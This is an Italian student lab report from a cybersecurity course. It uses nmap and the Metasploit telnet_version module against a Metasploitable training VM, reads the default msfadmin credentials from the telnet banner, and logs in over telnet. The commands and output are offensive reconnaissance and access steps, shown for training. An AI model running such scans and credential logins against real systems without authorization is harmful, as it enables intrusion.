

S7_L2

Unit 2 - CS0424

MATTEO BELTRAMI MARZOLINI
CYBEREAGLES

EXPLOIT TELNET CON METASPLOIT

TRACCIA

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

SVOLGIMENTO

IP Kali e Metasploitable

La traccia richiede di configurare l'ip delle due macchine da utilizzare durante questo esercizio, rispettivamente con:

- Kali **192.168.1.25** *(lo cambio dalla scheda di rete)*
- Metasploitable **192.168.1.40** *(sudo nano /etc/network/interfaces)*

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    ether 08:00:27:31:71:7b txqueuelen 1000 (Ethernet)
    RX packets 40 bytes 4078 (3.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.25 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::70af:221c:860d:fc83 prefixlen 64 scopeid 0<link>
    ether 08:00:27:5b:74:1f txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 26 bytes 3002 (2.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 28 bytes 2700 (2.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 28 bytes 2700 (2.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:f7:30:ab
          inet addr:192.168.1.40 Bcast:192.168.1.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe7:30ab/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B) TX bytes:4592 (4.4 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:116 errors:0 dropped:0 overruns:0 frame:0
          TX packets:116 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23409 (22.8 KB) TX bytes:23409 (22.8 KB)
```

Dopo aver cambiato i corrispettivi IP come richiesti dalla traccia, controllo che entrambe le macchine comunichino tra di loro tramite il comando:

ping 192.168.1.40

Quindi da kali verso la metasploitable.

```
(kali㉿kali)-[~]  
$ ping 192.168.1.40  
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.  
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.220 ms  
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.795 ms  
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=1.22 ms  
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.848 ms  
64 bytes from 192.168.1.40: icmp_seq=5 ttl=64 time=0.933 ms  
64 bytes from 192.168.1.40: icmp_seq=6 ttl=64 time=0.453 ms  
64 bytes from 192.168.1.40: icmp_seq=7 ttl=64 time=0.878 ms  
64 bytes from 192.168.1.40: icmp_seq=8 ttl=64 time=0.747 ms  
64 bytes from 192.168.1.40: icmp_seq=9 ttl=64 time=1.74 ms  
64 bytes from 192.168.1.40: icmp_seq=10 ttl=64 time=0.395 ms
```

Nmap

Per sfruttare la vulnerabilità relativa a Telnet, controllo con nmap le porte aperte per comprendere a quale porta corrisponde la vulnerabilità che sto cercando.

```
(kali㉿kali)-[~]  
$ nmap 192.168.1.40  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 17:00 CEST  
Nmap scan report for 192.168.1.40  
Host is up (0.00047s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet
```

Controllo con un comando specifico sulla porta 23 che corrisponde a telnet per avere informazioni più specifiche:

nmap -sV 192.168.1.40 -p 23

```
(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.40 -p 23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 17:02 CEST
Nmap scan report for 192.168.1.40
Host is up (0.00052s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Ora so che per la vulnerabilità relativa a Telnet è aperta e la sua versione è Linux telnetd.

Msfconsole

Avvio msfconsole per procedere all'attacco verso la metasploitable.

```
(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb

+-----+
| METASPLOIT by Rapid7 |
+-----+
|  =c(  (o(  (  )  |  | ***** |  [***]  | | |
|  /    /    \    \  |  | EXPLOIT  |  [msf >]  |
|  \    \    /    /  |  |          |  \(\@)(\@)(\@)(\@)(\@)/  |
|  \    \    /    /  |  | ***** |  |          |  |
+-----+
|  o o o  o o  o  |  |  \'\^V\^V\'/  | | | | | | |
|  ^^^^^^^^^^^^^^  |  |  )=====  |
|  PAYLOAD          |  |  C  ||  -  |
|  |(\@)(\@)"**"|(\@)(\@)**|(\@)  |  |  ||  |  |
|  - - - - - - - -  |  |  - - - - -  |
+-----+
|  = [ metasploit v6.3.55-dev ] |
+ -- -- [ 2397 exploits - 1235 auxiliary - 422 post ] |
+ -- -- [ 1391 payloads - 46 encoders - 11 nops ] |
+ -- -- [ 9 evasion ] |
+-----+
Metasploit Documentation: https://docs.metasploit.com/
```

L'obiettivo di questo esercizio ed attacco consiste nel trovare ed utilizzare l'username e password della macchina target.

Procedo con il comando:

use auxiliary/scanner/telnet/telnet_version

```
msf6 > use auxiliary/scanner/telnet/telnet_version  
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

Ora tramite il comando:

show options

controllo i moduli disponibili riguardanti la vulnerabilità Telnet.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options  
Module options (auxiliary/scanner/telnet/telnet_version):  


| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |

  
View the full module info with the info, or info -d command.  
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

Il modulo che interessa a noi è RHOST. Quindi procedo ad inserire l'indirizzo IP della macchina target con il modulo RHOST:

set RHOST 192.168.1.40

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.1.40  
RHOST => 192.168.1.40
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                                 |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                     |
| RHOSTS   | 192.168.1.40    | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                       |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                         |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                             |



View the full module info with the info, or info -d command.
```

Ora posso far partire il lancio, con il comando:

exploit

[illegible]

Se il lancio è andato a buon fine, si potrà vedere in risposta al lancio l'username e la password in chiaro della nostra macchina target.

```
expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadm/min/msfadmin to get started\x0a\x0a\x0ametasploitable login:
```

Infatti si potrà notare che sarà visibile la scritta:

msfadmin/msfadmin

Quindi, ora che ho in chiaro l'username e password della macchina target, posso andare a verificare se la risposta è veritiera.

Procedo con il comando:

telnet 192.168.1.40

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40  
[*] exec: telnet 192.168.1.40
```

```
Trying 192.168.1.40 ...  
Connected to 192.168.1.40.  
Escape character is '^]'.
```

```
msf6 telnet (192.168.1.40) >
```

```
Warning: Never expose this VM to an untrusted network!
```

```
Contact: msfdev[at]metasploit.com
```

```
Login with msfadmin/msfadmin to get started
```

```
metasploitable login: █
```

Dopo aver aperta la macchina metasploitable dal terminale di kali procedo ad inserire l'user e password trovati precedentemente.

```
Login with msfadmin/msfadmin to get started
```

```
metasploitable login: msfadmin
```

```
Password:
```

```
Last login: Tue Jul 9 10:58:00 EDT 2024 on tty1
```

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

```
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.
```

```
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.
```

```
To access official Ubuntu documentation, please visit:
```

```
http://help.ubuntu.com/
```

```
No mail.
```

```
msfadmin@metasploitable:~$ █
```

CONCLUSIONE

Come mostrato dagli ultimi screen, si ha avuto l'accesso alla macchina metasploitable tramite l'uso dei dati trovati tramite la vulnerabilità relativa a Telnet. Ciò dimostra che l'attacco ha avuto successo è che la vulnerabilità Telnet è stata sfruttata al meglio.